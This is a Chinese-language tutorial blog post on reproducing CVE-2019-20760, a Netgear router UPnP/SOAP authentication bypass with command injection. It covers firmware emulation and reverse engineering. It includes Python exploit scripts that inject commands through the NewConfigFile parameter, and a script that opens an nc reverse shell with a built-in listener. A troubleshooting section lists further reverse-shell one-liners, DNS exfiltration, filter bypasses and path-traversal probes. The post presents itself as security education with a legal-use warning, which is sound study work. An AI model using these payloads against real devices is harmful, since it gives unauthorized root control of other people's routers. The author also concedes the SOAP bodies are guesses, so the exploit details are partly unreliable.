从Netgear路由器漏洞CVE-2019-20760学习UPnP服务安全与命令注入实战
1. 项目概述从零开始理解一个经典的路由器漏洞最近在整理一些老漏洞的复现笔记发现Netgear这个CVE-2019-20760虽然过去几年了但作为学习嵌入式设备漏洞挖掘和远程命令执行的入门案例依然非常有价值。这个漏洞本质上是Netgear多款路由器在UPnP服务中的一个认证绕过导致的远程代码执行攻击者无需任何身份验证就能通过网络向设备发送特制的HTTP请求最终在路由器上以root权限执行任意命令。听起来很吓人对吧其实对于想入门硬件安全、IoT安全或者Web漏洞挖掘的朋友来说这是一个绝佳的“练手靶子”。它不像一些复杂的链式漏洞原理相对直接影响范围又很广波及数十款Netgear路由器型号复现过程能让你完整地走一遍漏洞分析、环境搭建、利用脚本编写和验证的流程。今天我就以一个新手的视角带你一步步把这个漏洞“挖”出来过程中我会穿插解释每一步背后的“为什么”以及我踩过的那些坑。2. 漏洞核心原理与影响范围深度拆解2.1 UPnP服务与SOAP协议漏洞的温床要理解CVE-2019-20760首先得知道UPnP通用即插即用是干什么的。简单来说它是一套让设备在局域网内自动发现、配置并通信的网络协议。比如你家里的智能电视要找到NAS里的电影或者游戏主机为了获得更好的联机体验需要自动在路由器上开个端口背后经常有UPnP在帮忙。路由器上的UPnP服务通常会开启一个Web服务常见端口是5000或80监听局域网内的请求。这些请求很多是通过SOAP协议传输的。SOAP你可以理解为一种用XML格式封装数据、通过HTTP发送的“远程调用指令”。设备A告诉设备B“请执行XXX函数参数是YYY”。在Netgear路由器的UPnP实现中就有一个用于处理SOAP请求的CGI程序路径通常是/soap.cgi。漏洞的根源就出在这个CGI程序对用户输入的处理逻辑上。它没有对调用者进行严格的权限校验就允许执行一些高权限的操作。2.2 认证绕过与命令注入漏洞的两段式攻击这个漏洞的利用可以分为两个关键阶段理解这个对后续编写利用脚本至关重要。第一阶段认证绕过。攻击者向/soap.cgi发送一个SOAP请求试图调用一个名为DeviceConfig的服务。正常情况下这类涉及设备配置的操作应该需要管理员密码。但是Netgear这个CGI在处理请求时存在一个逻辑缺陷。它可能只检查了请求的某个部分比如HTTP头中的某个字段是否看起来像来自“内部网络”或者其校验逻辑可以被精心构造的请求绕过。攻击者通过构造特定的SOAP Action和XML数据体就能骗过检查让路由器认为这是一个合法的、已授权的内部请求。第二阶段命令注入。在成功绕过认证、调用到DeviceConfig服务后该服务有一个功能是备份或恢复配置文件。这个功能会调用系统命令来处理配置文件。问题在于用户可控的输入比如配置文件名或其中的某些参数在拼接进系统命令时没有经过有效的过滤或转义。攻击者可以在参数中插入分号;、反引号 或管道符|等Shell元字符将额外的恶意命令“注入”到原本合法的命令序列中。由于UPnP服务通常以root权限运行这些注入的命令也就以最高权限执行了。影响范围根据公开的漏洞公告受影响的设备型号非常多包括但不限于R6400、R6700、R7000、R8000等多个系列的路由器且影响其多个固件版本。这意味着在漏洞公开时有大量设备暴露在风险中。即便在今天一些没有及时更新固件的旧设备可能依然存在风险。注意所有漏洞复现和学习都必须在自己完全可控的合法实验环境中进行例如使用虚拟机搭建的靶机、自己购买并拥有所有权的二手设备。绝对禁止对任何非自己所有的网络设备进行测试这是法律和道德的底线。3. 复现环境搭建与靶机准备3.1 选择与获取漏洞固件复现的第一步是找到一个存在漏洞的固件版本。我们可以从Netgear的官方支持网站下载历史固件。以Netgear R7000为例我们需要找到在漏洞修复之前发布的版本。通过查询CVE详情和Netgear的安全公告可以确定影响版本例如R7000固件版本早于1.0.9.88的都可能受影响。确定型号与版本我们选择Netgear R7000作为靶机型号因为它非常常见资料也多。目标固件版本定为1.0.9.42这是一个已知受影响的版本。下载固件访问Netgear官网进入R7000的支持页面在“固件”部分通常会有“旧版本”或“归档”的链接。找到1.0.9.42版本的.chk格式固件文件并下载。如果官网已移除可以在一些合法的开源漏洞数据库或镜像站如Vulhub、Exploit-DB的镜像寻找务必注意文件来源的安全性。验证固件完整性下载后如果官网提供了MD5或SHA256校验值务必进行比对确保文件未被篡改。3.2 使用模拟器运行路由器固件我们不可能为了学习每次都去买个真路由器刷机这时候固件模拟工具就是神器。Firmadyne和QEMU是常用的组合但它们搭建过程比较复杂。对于新手我强烈推荐使用AttifyOS或Docker化的模拟环境这会省去大量配置依赖的麻烦。这里我以使用一个预配置好的Docker镜像为例这个镜像已经集成了QEMU和必要的网络配置可以模拟运行MIPS架构的路由器固件。# 1. 首先确保你的系统安装了Docker docker --version # 2. 拉取一个用于固件模拟的Docker镜像示例具体镜像名可能随时间变化需查找最新 # 假设我们使用一个名为 firmware-analysis-plus 的镜像 docker pull attify/firmware-analysis-toolkit:latest # 3. 运行容器并将下载的固件文件挂载进去 docker run -it --rm \ -v /path/to/your/firmware/Netgear-R7000-V1.0.9.42.chk:/firmware/image.chk \ --privileged \ --network host \ attify/firmware-analysis-toolkit /bin/bash进入容器后通常会有内置的脚本如fat.py来解压和启动固件模拟。这个过程会自动解包固件、识别架构这里是MIPS、配置网络桥接并启动一个QEMU虚拟机来运行路由器的操作系统。# 在容器内部执行 cd /tools python3 fat.py /firmware/image.chk脚本运行后它会给出模拟系统的IP地址通常是192.168.0.1或192.168.1.1以及一个用于交互的调试端口。现在你就可以通过浏览器或curl命令访问http://模拟IP看到路由器的Web管理界面了。UPnP服务也会随之运行。实操心得模拟器环境最大的“坑”在于网络配置。如果无法从宿主机访问模拟的路由器IP可能是网络桥接没成功。可以尝试在Docker run命令中使用--network bridge并手动查看容器和QEMU虚拟机的IP。另一个常见问题是固件文件系统解压失败可能是因为固件格式或加密问题。对于Netgear的.chk文件有时需要先用binwalk工具手动解压提取出文件系统后再用QEMU加载内核和文件系统。这个过程稍复杂但网上有详细的针对Netgear固件的教程。4. 漏洞利用脚本编写与详细分析理解了原理搭建了环境接下来就是动手写利用代码了。我们使用Python编写PoC概念验证脚本。4.1 构造认证绕过的SOAP请求首先我们需要构造一个能绕过认证的SOAP请求包。通过分析公开的漏洞细节或已有的PoC我们知道需要向/soap.cgi发送一个POST请求。import requests import sys def exploit(target_ip): url fhttp://{target_ip}:5000/soap.cgi # 关键的SOAP Action头部指向存在问题的DeviceConfig服务 headers { SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin, Content-Type: text/xml; charsetutf-8 } # SOAP请求体这里是一个简化的示例。实际利用中body需要精心构造以触发漏洞路径。 # 注意以下XML Body仅为示意真实利用的XML结构可能更复杂需要包含特定的参数。 soap_body ?xml version1.0 encodingutf-8? s:Envelope xmlns:shttp://schemas.xmlsoap.org/soap/envelope/ s:Body u:SOAPLogin xmlns:uurn:NETGEAR-ROUTER:service:DeviceConfig:1 Usernameadmin/Username !-- 密码字段可能被忽略或可利用 -- Passwordpassword/Password !-- 可能还有其他用于触发命令注入的参数 -- /u:SOAPLogin /s:Body /s:Envelope try: response requests.post(url, headersheaders, datasoap_body, timeout10) print(f[*] 发送请求到 {url}) print(f[*] 状态码: {response.status_code}) print(f[*] 响应头:\n{response.headers}) print(f[*] 响应内容:\n{response.text[:500]}) # 只打印前500字符 except requests.exceptions.RequestException as e: print(f[!] 请求失败: {e}) sys.exit(1) if __name__ __main__: if len(sys.argv) ! 2: print(f用法: {sys.argv[0]} 目标IP) sys.exit(1) target sys.argv[1] exploit(target)为什么这么构造SOAPAction头是UPnP服务识别要调用哪个函数的关键。这里我们指定了DeviceConfig:1服务下的SOAPLogin动作。虽然叫Login但在这个漏洞上下文中它是触发漏洞链的入口点之一。Content-Type必须设置为text/xml。XML Body的结构需要符合设备预期的格式。早期的PoC可能利用的是SOAPLogin但根据更深入的分析实际触发命令注入的可能是在后续调用其他函数如GetDeviceConfig或SetDeviceConfig时在某个参数如NewConfigFile中注入命令。因此你可能需要发送多个连续的SOAP请求来完成利用。4.2 注入恶意命令并获取执行结果仅仅绕过认证还不够我们的目标是执行命令。假设漏洞点在于备份功能的一个参数我们可以构造注入命令的XML。import requests import sys from urllib.parse import quote def execute_command(target_ip, command): url fhttp://{target_ip}:5000/soap.cgi # 注入命令。例如将命令嵌入到某个参数值中。 # 假设漏洞参数是 NewConfigFile我们可以使用 ; 来分隔命令。 # 注意需要对XML中的特殊字符进行转义或使用CDATA块。 injected_payload flegit_config;{command};echo soap_body f?xml version1.0 encodingutf-8? s:Envelope xmlns:shttp://schemas.xmlsoap.org/soap/envelope/ s:Body u:SetDeviceConfig xmlns:uurn:NETGEAR-ROUTER:service:DeviceConfig:1 NewConfigFile{injected_payload}/NewConfigFile !-- 可能还需要其他必要参数 -- /u:SetDeviceConfig /s:Body /s:Envelope headers { SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SetDeviceConfig, Content-Type: text/xml; charsetutf-8 } try: response requests.post(url, headersheaders, datasoap_body, timeout10) # 命令执行的结果可能直接返回在响应中也可能需要通过其他方式读取如发起另一个请求读取文件 if response.status_code 200: # 尝试从响应中提取命令输出 print(f[] 请求成功。响应中可能包含命令输出:) print(response.text) else: print(f[-] 请求失败状态码: {response.status_code}) except Exception as e: print(f[!] 发生错误: {e}) if __name__ __main__: if len(sys.argv) ! 3: print(f用法: {sys.argv[0]} 目标IP 要执行的命令) sys.exit(1) target sys.argv[1] cmd sys.argv[2] execute_command(target, cmd)关键点解析注入点定位这是最困难的一步。你需要通过逆向工程或动态调试如果模拟环境支持找到用户输入最终被拼接到system()或popen()等函数调用的具体位置。公开的Exp可能会直接给出参数名如NewConfigFile但在其他漏洞中你需要自己寻找。命令分隔符在Unix-like系统路由器系统通常是BusyBox中分号;、换行符\n、逻辑运算符、||以及反引号 都可以用来注入新命令。需要测试目标环境接受哪一种。输出获取命令执行了但怎么看到结果有几种方式回显到HTTP响应如果命令输出被直接捕获并返回在SOAP响应XML中那最简单。写入Web目录文件执行类似ls -la /www/test.txt的命令然后通过浏览器访问http://target/test.txt查看。反向Shell最强大的方式。让路由器主动连接你的监听服务器。例如使用nc或bash创建反向Shellbash -i /dev/tcp/你的IP/端口 01。但这要求目标系统有相应的工具Netgear路由器通常有nc。DNS外带数据通过ping或nslookup将命令结果作为域名的一部分发送到你的DNS服务器用于无回显的盲注场景。4.3 编写一个完整的反向Shell利用脚本下面是一个更完整、更自动化的PoC示例它尝试建立反向Shell。#!/usr/bin/env python3 import requests import sys import time import socket import threading def check_vulnerable(target_ip): 初步检测目标是否存在漏洞通过识别特定服务或版本 try: r requests.get(fhttp://{target_ip}:5000, timeout5) if Netgear in r.text or UPnP in r.headers.get(Server, ): print(f[] 目标 {target_ip} 可能运行Netgear UPnP服务) return True except: pass return False def send_payload(target_ip, lhost, lport): 发送构造好的SOAP请求注入反向Shell命令 url fhttp://{target_ip}:5000/soap.cgi # 反向Shell命令。这里使用ncnetcat因为很多嵌入式系统都有busybox版的nc。 # 选项 -e /bin/sh 在某些nc版本中可用。如果不支持可以尝试其他方法如使用bash或telnet。 reverse_shell_cmd fnc {lhost} {lport} -e /bin/sh # 或者使用bash: bash -i /dev/tcp/{lhost}/{lport} 01 # 构造注入的payload。假设漏洞参数是NewConfigFile使用分号注入。 # 注意XML中需要对特殊字符进行转义或者使用CDATA区。 payload fvalid_config;{reverse_shell_cmd};echo done soap_body f?xml version1.0 encodingutf-8? s:Envelope xmlns:shttp://schemas.xmlsoap.org/soap/envelope/ s:Body u:SetDeviceConfig xmlns:uurn:NETGEAR-ROUTER:service:DeviceConfig:1 NewConfigFile![CDATA[{payload}]]/NewConfigFile /u:SetDeviceConfig /s:Body /s:Envelope headers { SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SetDeviceConfig, Content-Type: text/xml; charsetutf-8 } print(f[*] 向 {target_ip} 发送注入请求...) try: resp requests.post(url, headersheaders, datasoap_body, timeout15) print(f[*] 注入请求完成状态码: {resp.status_code}) # 即使返回200命令也可能已执行。成功与否取决于反向Shell是否连接。 except Exception as e: print(f[!] 发送payload失败: {e}) def start_listener(lport): 在本地启动一个TCP监听器等待反向Shell连接 s socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: s.bind((0.0.0.0, lport)) s.listen(5) print(f[*] 在端口 {lport} 上启动监听器...) conn, addr s.accept() print(f[] 收到来自 {addr[0]}:{addr[1]} 的连接) print([] 获得反向Shell输入命令输入 exit 退出:) # 简单的交互循环 while True: cmd input($ ) if cmd.strip().lower() exit: conn.send(bexit\n) break if cmd: conn.send(cmd.encode() b\n) # 接收输出这里简化处理实际可能需要多线程处理 time.sleep(0.5) output conn.recv(4096).decode(utf-8, errorsignore) if output: print(output, end) conn.close() except Exception as e: print(f[!] 监听器错误: {e}) finally: s.close() if __name__ __main__: if len(sys.argv) ! 4: print(f用法: {sys.argv[0]} 目标IP 你的IP 监听端口) print(f示例: {sys.argv[0]} 192.168.1.1 192.168.1.100 4444) sys.exit(1) target sys.argv[1] lhost sys.argv[2] lport int(sys.argv[3]) if not check_vulnerable(target): print(f[-] 目标 {target} 可能不脆弱或无法访问) # 即使检测不到也可以尝试攻击因为服务可能运行在非标准端口 # 启动监听线程 listener_thread threading.Thread(targetstart_listener, args(lport,)) listener_thread.daemon True listener_thread.start() time.sleep(2) # 给监听器一点时间启动 # 发送攻击payload send_payload(target, lhost, lport) # 等待一段时间看是否连接成功 print([*] 等待反向Shell连接最长30秒...) time.sleep(30) print([-] 超时可能未成功。请检查) print( 1. 目标IP和端口是否正确) print( 2. 你的防火墙是否允许入站连接) print( 3. payload中的命令是否适用于目标系统如nc是否有-e选项) print( 4. 漏洞参数或SOAP Action是否正确)5. 复现过程中的常见问题与深度排查即使按照步骤来复现过程也绝不会一帆风顺。下面是我在多次复现中遇到的一些典型问题及解决方法。5.1 模拟环境网络不通问题现象宿主机无法ping通或访问QEMU模拟出的路由器IP如192.168.0.1。排查思路检查容器网络模式如果使用Docker--network host模式最简单容器直接使用宿主机的网络栈模拟的路由器IP应该能在宿主机直接访问。如果使用bridge模式需要做端口映射如-p 5000:5000。检查QEMU网络配置运行模拟器的脚本通常会创建一个虚拟网卡如tap0并配置桥接。在宿主机上运行ifconfig或ip addr查看是否有tap0或br0这样的接口。查看模拟器启动日志仔细阅读fat.py或类似脚本的输出它会告诉你给虚拟机分配的IP地址。有时分配的IP可能不是常见的网段。关闭宿主机的防火墙临时关闭宿主机防火墙sudo ufw disable或sudo systemctl stop firewalld以排除干扰。使用ARP扫描在宿主机上使用arp-scan -l或nmap -sn 网段查看是否有未知设备出现。5.2 SOAP请求返回错误或超时问题现象发送PoC请求后返回HTTP 500内部错误、404未找到或者直接超时。排查步骤确认服务端口UPnP服务不一定在5000端口。用nmap -sV -p- target_ip扫描目标开放的所有端口寻找运行着MiniUPnPd或类似标识的服务。验证SOAP端点路径路径/soap.cgi也可能不同。可以尝试访问/根目录或者用dirb、gobuster等工具扫描常见的CGI路径如/cgi-bin/下的文件。分析错误响应HTTP 500错误可能包含详细的SOAP错误信息在响应体中仔细阅读这些XML错误信息可能告诉你缺少哪个参数或者哪个参数格式不对。使用正确的方法和头部确保是POST请求Content-Type和SOAPAction头部完全正确。SOAPAction头的格式非常严格多一个空格或少一个引号都可能导致失败。最好从设备固件中逆向提取出准确的字符串。检查XML格式将你的SOAP Body粘贴到在线的XML格式校验器中确保没有语法错误。注意特殊字符的转义或者使用![CDATA[ ]]包裹可能包含特殊字符的payload。5.3 命令注入成功但无回显盲注问题现象脚本显示发送成功HTTP 200但反向Shell没有连接也没有其他明显的成功迹象。排查与利用技巧验证命令是否执行尝试注入一个会产生明显侧信道效果的命令。延时命令注入sleep 5。如果请求响应时间明显增加了5秒说明命令执行了。DNS外带注入nslookupwhoami.your-dns-server.com或ping -c 1hostname.your-dns-server.com。在你的DNS服务器日志中查看收到的查询如果包含命令输出如root则证明注入成功且可外带数据。写入可访问文件注入echo test /www/test.txt然后尝试用浏览器访问http://target/test.txt。尝试不同的命令注入语法如果分号;不行试试换行符legit_param%0aid%0a%0a是URL编码的换行符管道符legit_param | id逻辑与legit_param id反引号legit_paramid子shelllegit_param$(id)检查命令执行环境注入which nc、which bash、which telnet查看目标系统有哪些可用的工具。不同固件版本包含的工具集可能不同。反向Shell的变种如果nc -e不可用可以尝试其他方法建立Shell使用mkfiform /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc LHOST LPORT /tmp/f使用telnettelnet LHOST LPORT | /bin/sh | telnet LHOST LPORT1需要两个监听端口使用Python/Perl/PHP如果目标系统安装了这些解释器可以用它们创建更稳定的反向Shell。5.4 漏洞利用不稳定或仅特定版本有效问题现象在某个固件版本上成功换一个稍有不同的版本就失败了。深度分析固件差异Netgear可能为不同型号或不同区域的设备发布了略有差异的固件。soap.cgi这个二进制文件可能被修改了。你需要用IDA Pro或Ghidra反汇编这两个版本的CGI文件对比处理DeviceConfig相关请求的函数逻辑找到校验差异点。参数名变化漏洞利用的参数如NewConfigFile可能在新版本中改名了或者增加了额外的必需参数。你需要通过逆向或模糊测试来发现新的参数。输入过滤增强后续固件可能增加了简单的过滤比如检查参数中是否包含分号或反引号。这时需要尝试更隐蔽的注入技巧比如利用环境变量、$IFS内部字段分隔符替代空格或者使用编码绕过。服务权限降低修复版本可能将UPnP服务的运行权限从root降级为一个低权限用户这样即使注入成功能造成的危害也有限。注入id命令查看当前用户权限是很好的习惯。6. 从复现到挖掘漏洞分析思路延伸成功复现一个已知漏洞只是开始。通过这个案例我们可以学习到一套分析嵌入式设备Web漏洞的方法论。6.1 固件逆向工程入门要真正理解漏洞需要查看“受伤”的代码。使用binwalk提取固件文件系统后找到/usr/bin/soap.cgi或类似的可执行文件。# 使用binwalk提取固件 binwalk -Me Netgear-R7000-V1.0.9.42.chk # 进入提取出的文件系统目录 cd _Netgear-R7000-V1.0.9.42.chk.extracted/squashfs-root/ # 查找UPnP相关的CGI或二进制文件 find . -name *soap* -o -name *upnp* -type f -exec file {} \;找到目标文件后可以将其拖入反汇编工具。对于MIPS架构IDA Pro或Ghidra是首选。搜索字符串“DeviceConfig”、“NewConfigFile”、“system”、“popen”等可以快速定位到关键函数。分析这些函数如何解析HTTP请求、提取XML参数、进行权限检查以及最终如何将参数传递给危险函数如system你就能清晰地看到漏洞形成的完整链条。6.2 动态调试技巧静态分析有时不够直观特别是遇到复杂的逻辑时。如果模拟环境支持QEMU配合GDB可以尝试动态调试。在QEMU中启动gdbserver在运行固件的QEMU命令中添加-g 1234参数在1234端口开启GDB调试。使用交叉编译的GDB连接在宿主机上使用针对MIPS架构编译的gdb-multiarch连接上去。下断点在system或popen函数入口以及可能处理输入参数的函数上下断点。触发请求从外部发送构造好的恶意请求。观察执行流和内存当断点命中时查看寄存器如$a0在MIPS中常存放第一个参数的值看看是否是你的注入参数。单步执行观察程序逻辑如何走到这里。动态调试能让你亲眼看到数据是如何流动并被污染的这对于理解漏洞和开发绕过技巧至关重要。6.3 自动化模糊测试与漏洞挖掘复现别人挖到的漏洞是学习自己挖到才是本事。对于这类UPnP服务可以尝试自动化模糊测试。确定测试目标仍然是soap.cgi接受XML输入。生成测试用例可以使用wfuzz、Burp Suite Intruder或者自己写Python脚本。测试用例应包括畸形XML标签不闭合、特殊字符、超长字符串。参数污染重复的参数、非常规的参数名。命令注入探针在每一个可能的参数值中插入;echo test;、$(echo test)等payload。路径遍历在文件路径参数中尝试../../../etc/passwd。监控结果监控目标设备的反应HTTP响应差异对比正常请求和异常请求的响应状态码、长度、内容。侧信道请求响应时间是否显著变长可能执行了sleep外部交互设置一个DNS或HTTP监听服务器看是否有外带数据请求。崩溃监控如果服务崩溃重启可能发现了缓冲区溢出漏洞。在QEMU中运行设备并监控进程状态。这个过程需要耐心和大量的测试但一旦发现一个未知的异常点深入分析就可能挖到一个全新的漏洞。CVE-2019-20760的发现很可能就始于一次对UPnP SOAP请求的异常参数测试。